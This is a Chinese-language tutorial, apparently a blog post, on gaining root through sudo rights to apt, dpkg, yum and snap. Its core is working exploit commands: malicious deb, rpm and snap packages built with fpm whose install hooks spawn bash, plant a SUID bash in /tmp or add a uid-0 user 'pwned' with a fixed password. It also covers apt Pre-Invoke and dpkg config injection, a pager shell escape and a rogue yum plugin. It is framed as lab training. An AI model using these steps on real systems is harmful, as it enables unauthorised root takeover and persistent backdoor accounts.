Linux提权之借助包管理器创建恶意的debian包|rpm包

Linux提权之借助包管理器创建恶意的debian包|rpm包

简介

包管理器在 Linux 发行版上以 root 权限运行,安装、更新或删除软件/包。在某些情况下,用户不应该是 root/admin 用户,而是被分配了 sudo 权限来运行包管理器,仅用于包管理目的。

我们将研究如何滥用此权限以通过 root shell 获得对机器的 root 访问权限。

如果您想在实验室环境中测试这些命令而无需安装和设置您自己的机器, 使用下面的链接查看我在CYBERRANGES 上的场景。

Linux 权限提升:包管理器场景

包管理器

对于基于 debian 的 linux 发行版,我们有几个包管理器:

  • apt/apt-get
  • dpkg
  • aptitude
  • synaptic

从列表中,APT(高级打包工具)是最常用的一种。Synaptic 是一个 GUI 应用程序,它支持与命令行类似的功能。包通常在 .deb 文件中。

对于基于 redhat 的发行版,我们有:

  • yum(Yellowdog 更新程序,已修改)
  • rpm
  • dnf

包通常是 .rpm 文件。

还有另一个包管理器称为snap支持所有主要的 linux 发行版。因此,对于我们的案例,它适用于基于 debian 和 redhat 的发行版。

在本教程中,我们将担任低特权用户的角色,该用户仅有权以 sudo 身份运行上述包管理器之一。

Exploitation:DEB 

这里我有一个 ubuntu 服务器,用户有apt使用 sudo运行的权限。

Linux提权之借助包管理器创建恶意的debian包|rpm包

方法 1:创建恶意的 debian 包

低权限用户可以创建一个包含用于提升权限的命令的 debian 包。

首先,我们将创建一个名为exploit的目录,然后创建一个运行whoami命令的 shell 脚本并将其放入文件夹中。

mkdir exploit
echo '#!/bin/bash' > exploit/exploit.sh
echo whoami >> exploit/exploit.sh
Linux提权之借助包管理器创建恶意的debian包|rpm包

准备就绪后,我们将使用一个名为 fpm(Effing 包管理)的工具来构建一个 debian 包,该包将执行我们刚刚创建的脚本。

要创建 debian 包,我们将运行以下 fpm 命令:

fpm -n exploit -s dir -t deb --before-install ./exploit/exploit.sh ./exploit
Linux提权之借助包管理器创建恶意的debian包|rpm包

接下来,我们使用以下命令通过 apt 安装包:

sudo apt install ./exploit_1.0_amd64.deb
Linux提权之借助包管理器创建恶意的debian包|rpm包

在那里我们看到命令以 root 身份执行,现在我们可以以 root 身份运行任何命令。从那里您可以使用不同的策略来获取 root shell,例如向 root 用户添加 ssh 密钥或获取反向 shell。

对于我们这里的情况,我们只需在exploit.sh 脚本中将whoami命令更改为bash,然后创建一个新的debian 包。但是这次指定一个新版本来升级我们安装的现有版本。

fpm -n exploit -s dir -t deb -v 1.1 --before-install ./exploit/exploit.sh ./exploit
Linux提权之借助包管理器创建恶意的debian包|rpm包

我们已经成功地以 root 身份获得了一个交互式 shell。这也适用于 apt-get 和 dpkg。

方法 2:APT 配置选项

APT 是包管理系统的高级命令行界面。这意味着它为更底层的dpkg包管理器提供前端接口。

当 apt 调用 dpkg 时,您可以指定在调用发生之前(Pre-Invoke)或之后(Post-Invoke)运行的 shell 命令。

以上可以使用配置文件进行配置。这些配置文件存储在 /etc/apt/apt.conf.d 中。但是,在您尝试提升权限的情况下,低权限用户可能没有在该目录中创建文件的权限。

APT 也支持通过使用-o选项在命令行上指定此配置。使用它,我们可以运行以下命令来获取 root shell。

sudo apt update -o APT::Update::Pre-Invoke::="/bin/bash"
Linux提权之借助包管理器创建恶意的debian包|rpm包
sudo apt update -o APT::Update::Post-Invoke::="/bin/bash"
Linux提权之借助包管理器创建恶意的debian包|rpm包

由于 apt 与 dpkg 交互,我们也可以使用 dpkg 之类的配置来获得 root shell,但有点不同。我们不能将 dpkg 配置直接传递给 apt 的命令行选项,因此我们需要使用配置文件。

APT 允许我们通过命令行选项指定除了默认配置之外要使用的配置文件-c

让我们创建一个恶意配置文件并使用它。

echo 'Dpkg::Pre-Invoke {"/bin/bash"}' > badconfig
sudo apt install -c badconfig netcat
Linux提权之借助包管理器创建恶意的debian包|rpm包

要使上述工作正常运行,您选择的软件包目前不应安装在系统上。

这里的技术也适用于 apt-get。

方法 3:调用默认pager

查看更改日志时,apt/apt-get 将使用 sensible-pager 显示它,通常默认设置为less。这意味着 apt 将运行较少,并且因为 less 也将以 root 身份运行,我们可以从中获得一个 root shell。

运行第一个命令,然后在 pager 界面中运行第二个命令。这也适用于 apt-get。

sudo apt changelog apt
!/bin/bash

Exploitation:RPM 

这里我有一个 centos 7 服务器。与上一节类似,我们从一个可以yum作为 sudo运行的低权限用户开始。

Linux提权之借助包管理器创建恶意的debian包|rpm包

方法一:创建恶意rpm包

使用与之前相同的技术,我们将使用 fpm 创建一个恶意的 rpm 包。我们将使用 ubuntu 机器创建包,然后将其传输到 centos 服务器。

在这种情况下,进入 shell 不起作用,因此我们需要运行一个命令,让我们以不同的方式访问 shell。我将创建一个 suid bash 二进制文件,它将为我们提供 root 访问权限。

我们将在/tmp 中创建exploit 文件夹和exploit.sh 脚本。然后将以下命令放入脚本中。

cd /tmp
mkdir exploit
echo '#!/bin/bash' > exploit/exploit.sh
echo 'cp /bin/bash /tmp/bash' >> exploit/exploit.sh
echo 'chmod +xs /tmp/bash' >> exploit/exploit.sh
Linux提权之借助包管理器创建恶意的debian包|rpm包

现在我们将使用与 debian 软件包类似的命令创建恶意 rpm 软件包。

fpm -n exploit -s dir -t rpm --before-install ./exploit/exploit.sh ./exploit
Linux提权之借助包管理器创建恶意的debian包|rpm包

然后我们就可以通过启动python http服务器并下载的方式将其传输到centos服务器。

在 ubuntu 服务器上:

python3 -m http.server

在centos服务器上:

wget http://192.168.125.10:8000/exploit-1.0-1.x86_64.rpm 

成功下载后,我们将安装该软件包并执行包含的脚本以创建我们的 suid bash 二进制文件。

sudo yum localinstall -y exploit-1.0-1.x86_64.rpm

/tmp/bash -p
Linux提权之借助包管理器创建恶意的debian包|rpm包

我们已经成功获得了一个root shell。

方法二:加载自定义 yum 插件

Yum 提供了扩展和增强其操作的插件。某些插件是默认安装的。每当您调用任何 yum 命令时,yum 总是会通知您哪些插件(如果有)已加载并处于活动状态。

如下图,当我们运行yum update命令就可以看到加载的插件了。

Linux提权之借助包管理器创建恶意的debian包|rpm包

从 yum 手册页:

插件是一个 Python “.py”文件,它安装pluginpath在 yum.conf 中的选项指定的目录之一中。

要使插件工作,必须满足以下条件:

1. 插件模块文件必须安装在刚才描述的插件路径中。
2. /etc/yum.conf中的全局插件选项必须设置为'1'。
3.插件的配置文件必须存在于
/etc/yum/pluginconf.d/.conf以及该文件中启用的设置</plugin_name>
必须设置为“1”。这种配置文件的最小内容是:

    [main]
    enabled = 1

从 yum.conf 手册页,可以设置几个插件配置:

  • 插件无论是01。启用或禁用 yum 插件的全局开关。默认为0(禁用插件)。有关安装 yum 插件的更多信息,请参阅 yum(8) 手册的插件部分。
  • 插件路径yum 应该在其中查找插件模块的目录列表。默认为/usr/share/yum-plugins/usr/lib/yum-plugins
  • 插件配置路径yum 应该在其中查找插件配置文件的目录列表。默认为/etc/yum/pluginconf.d

使用这些信息,我们可以查看 centos 服务器上的 yum.conf。

Linux提权之借助包管理器创建恶意的debian包|rpm包

我们看到插件当前已启用,但没有其他选项的条目,这意味着默认选项适用。

我们可以通过查看fastestmirror插件文件和配置来确认这一点。

Linux提权之借助包管理器创建恶意的debian包|rpm包

现在我们已准备好执行漏洞exp。由于作为低权限用户,我们无法写入默认插件目录,因此我们需要使用一个配置文件来指定我们有权写入的目录。

幸运的是,yum 允许我们通过命令行通过-c选项指定配置文件。让我们创建一个custom_yum.conf使用以下内容调用的配置文件。

cd /tmp
cat >custom_yum.conf<<EOF
[main]
plugins=1
pluginpath=/tmp/badplugin
pluginconfpath=/tmp/badplugin
EOF

接下来让我们创建插件配置文件,但将其放在 badplugin 文件夹中。

mkdir badplugin
cat >badplugin/badplugin.conf<<EOF
[main]
enabled=1
EOF

然后创建插件本身。

cat >badplugin/badplugin.py<<EOF
import os
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE, API_VERSION
requires_api_version=API_VERSION
def init_hook(conduit):
  os.execl('/bin/bash','/bin/bash')
EOF

最后,我们可以使用以下命令执行插件并获得 root shell。

sudo yum -c custom_yum.conf
Linux提权之借助包管理器创建恶意的debian包|rpm包

Exploitation:Snap 

由于 snap 适用于所有主要发行版,我将在我们的 ubuntu 服务器上展示它。低权限用户可以使用 sudo 权限运行 snap。

Linux提权之借助包管理器创建恶意的debian包|rpm包

创建恶意快照包

可以通过两种方式创建恶意 snap 包,使用我们已经使用过的 fpm 命令和使用 snapcraft。

创建包背后的想法是一样的,当创建一个 snap 包时,你可以指定钩子。

根据文档:

钩子是一个可执行文件,当某个动作发生时,它会在 snap 的受限环境中运行。

由 snap 支撑的钩子之一称为install钩子。

根据文档:

install钩子仅在初始安装时调用,即不会在后续刷新时调用。

该钩子在启动 snap 服务(如果有的话)和配置钩子之前执行。安装钩子是一次性操作的地方,例如在第一次安装时对资源进行早期初始化。

我们可以将这个install钩子创建为一个 shell 脚本,当我们尝试安装包时,它会执行我们的恶意命令。

1. Snapcraft 

让我们设置我们的环境。

mkdir exploit
cd exploit
snapcraft init

snapcraft init 命令创建一个snap目录和其中的文件snapcraft.yaml

接下来切换到 snap 目录,然后在里面创建一个hooks目录和install文件。

cd snap
mkdir hooks
touch hooks/install

现在我们将把我们的恶意命令放在安装文件中并使其成为可执行的 bash 脚本。

由于我们的目标是获得一个 root shell,我们将使用另一种技术,添加一个 uid 0 的新用户来授予我们 root 权限。您还可以使用反向 shell 命令。

#!/bin/bash
/usr/sbin/useradd -p $(openssl passwd -1 password123) -u 0 -o -s /bin/bash -m pwned

不要忘记使脚本可执行。

chmod +x hooks/install

现在让我们编辑 snapcraft.yaml 文件,我们将更改默认名称、摘要和描述,并删除基本条目。

name: exploit # you probably want to 'snapcraft register <name>'
version: '0.1' # just for humans, typically '1.2+git' or '1.3.2'
summary: privesc exploit
description: |
  privesc exploit

  grade: devel # must be 'stable' to release into candidate/stable channels
  confinement: devmode # use 'strict' once you have the right plugs and slots

  parts:
    my-part:
        # See 'snapcraft plugins'  
	    plugin: nil

让我们回到exploit目录,然后运行snapcraft命令来创建包然后安装它。

sudo snap install --dangerous --devmode exploit_0.1_amd64.snap

安装后,我们看到我们的用户已添加,我们可以切换用户并获取 root shell。

Linux提权之借助包管理器创建恶意的debian包|rpm包

2. fpm 

使用 fpm 我们将使用完全相同的文件结构,但将snap目录名称更改为meta.

fpm -n exploit -s dir -t snap -a all meta
Linux提权之借助包管理器创建恶意的debian包|rpm包

当我们安装它时,我们看到我们的新用户已被添加,我们可以通过切换到该用户来获取 root shell,与之前的方式相同。

Linux提权之借助包管理器创建恶意的debian包|rpm包

结论

正如我们所见,有许多技术可以通过包管理器提升权限,这将使强化此权限不是最简单的任务。因此,仅在考虑这些风险的情况下才提供此许可。

在本教程中,fpm 包一直非常有用,它是一个非常好的工具,可以为我们的用例快速创建包。它可以安装在任何发行版上,但我在 centos 上安装它时遇到了问题,因此我跳过了它。

有些技术我还没有完全探索过,比如使用rpm,请随时在提供的网络范围实验室中尝试一下。

参考文献

https://github.com/jordansissel/fpm/

http://manpages.ubuntu.com/manpages/focal/en/man8/apt.8.html

http://manpages.ubuntu.com/manpages/focal/man5/apt.conf.5.html

https://gtfobins.github.io/gtfobins/apt/

https://gtfobins.github.io/gtfobins/yum/

https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins

http://yum.baseurl.org/wiki/WritingYumPlugins.html

How to Enable, Disable and Install Yum Plug-ins
https://gtfobins.github.io/gtfobins/snap/ https://snapcraft.io/docs/supported-snap-hooks https://0xdf.gitlab.io/2021/07/24/htb-armageddon.html https://youtu.be/8ikdbyOQsLg

from

Leave a Reply

您的电子邮箱地址不会被公开。